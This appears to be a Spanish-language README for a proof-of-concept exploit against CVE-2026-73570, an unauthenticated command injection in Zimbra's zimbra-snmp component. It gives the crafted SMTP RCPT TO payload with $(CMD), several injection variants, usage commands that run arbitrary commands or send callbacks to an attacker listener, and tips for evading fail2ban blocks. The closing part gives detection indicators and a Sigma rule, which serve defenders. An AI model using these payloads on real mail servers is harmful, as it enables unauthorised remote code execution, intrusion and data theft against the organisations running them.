
Prueba de concepto de exploit para CVE-2026-73570, una inyección de comandos del sistema operativo no autenticada en Zimbra Collaboration Suite mediante inyección de logs en zimbra-snmp, con guía de detección.
Prueba de concepto de exploit para CVE-2026-73570, una inyección de comandos
del sistema operativo no autenticada (CWE-78, CVSS 8.9) en Zimbra Collaboration Suite < 10.1.20 cuando el
paquete zimbra-snmp está instalado y las notificaciones SNMP están habilitadas.
Descargo de responsabilidad: Esta PoC está destinada únicamente a pruebas de seguridad autorizadas, investigación defensiva y validación de sus propios sistemas. No la utilice contra ningún sistema que no posea o para el que no tenga permiso explícito por escrito para probar.
La función de notificación SNMP de Zimbra utiliza swatchdog para monitorear
/var/log/zimbra.log en busca de eventos de servicio. Cuando una línea del registro coincide con su patrón
de vigilancia, el texto coincidente se interpola en un comando de shell que envía la
notificación SNMP — sin sanitización.
La cadena de ataque:
1. El atacante envía una sesión SMTP con una dirección RCPT TO manipulada:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
La parte local es una cadena entre comillas RFC 5321, por lo que Postfix acepta la
sintaxis de la dirección (espacios, dos puntos, $(...) incluidos).
2. Postfix rechaza el destinatario (relay denied / user unknown / sender
restriction) y escribe la cadena COMPLETA to=<...>, sin comillas, en
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) escanea periódicamente el registro y hace coincidir su
patrón watchfor "Service status change ... changed from ... to ...".
4. El texto coincidente se interpola en el comando de shell de notificación SNMP
-> se evalúa $(CMD) -> ejecución de comandos como el usuario `zimbra`.
El objetivo debe cumplir todos los siguientes:
zimbra-snmp instaladozmlocalconfig | grep -i snmp_notify)Lado del atacante: Python 3 (solo biblioteca estándar, sin dependencias).
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Opciones:
| Flag | Descripción |
|---|---|
-t, --target | IP/nombre de host SMTP de Zimbra objetivo (obligatorio) |
-p, --port | Puerto SMTP (predeterminado: 25) |
--tls | Usar STARTTLS (p. ej. puerto 587) |
--oob | Dominio DNS OOB o URL de callback HTTP (recomendado) |
--cmd | Comando arbitrario en lugar del callback OOB |
--fake-host | Nombre de host dentro de la cadena falsa Service status change (predeterminado: localhost) |
--check-only | Solo fingerprint, no enviar payloads |
--delay | Retardo entre envíos en segundos (predeterminado: 1.0) |
--debug | Imprimir la transcripción SMTP completa |
El script envía cada comando en varias variantes de inyección ($(...),
backticks, ;cmd;#, $({IFS}...)). Para cada variante, observe el código de
respuesta RCPT:
| Respuesta RCPT | Significado |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Sintaxis de dirección aceptada — la línea de rechazo con la cadena completa to=<...> ya está en el registro. Payload plantado. |
501 5.1.3 Bad recipient address syntax | Postfix rechazó la dirección en el momento del análisis — no se registró nada útil. El script reintenta automáticamente con un fallback sin comillas. |
Luego confirme en el servidor (si tiene acceso):
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
Si la línea del registro está presente pero el comando nunca se ejecuta, las
precondiciones restantes están del lado de swatchdog: verifique que el proceso esté en ejecución
(ps aux | grep swatch) y que su configuración realmente vigile el
patrón Service status change.
Contexto de ejecución: los comandos se ejecutan como el usuario zimbra (no root).
fail2ban-client status, iptables -L -n | grep <your_ip>, y confirme
que los paquetes llegan a Postfix con tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... en lugar de una
línea NOQUEUE: reject. Busque por su IP de atacante en su lugar.Indicadores clave de explotación exitosa:
to=<*: Service status change: *$(...)* dentro
de una línea de rechazo de Postfix en /var/log/zimbra.log — prácticamente cero falsos
positivos, ya que el texto Service status change nunca aparece legítimamente
dentro de una dirección to=<>.sh, bash, curl, wget, nc, python, perl) generado como hijo
de swatchdog / swatch..jsp/.jspx bajo
/opt/zimbra/jetty/webapps/ o /opt/zimbra/jetty_base/webapps/,
archivos inesperados en /tmp/, nuevas entradas de cron o claves SSH para el usuario zimbra,
y conexiones salientes desde el servidor de correo que no coinciden con el
flujo de correo normal.Ejemplo de regla Sigma (etapa de intento):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp hasta que se parchee.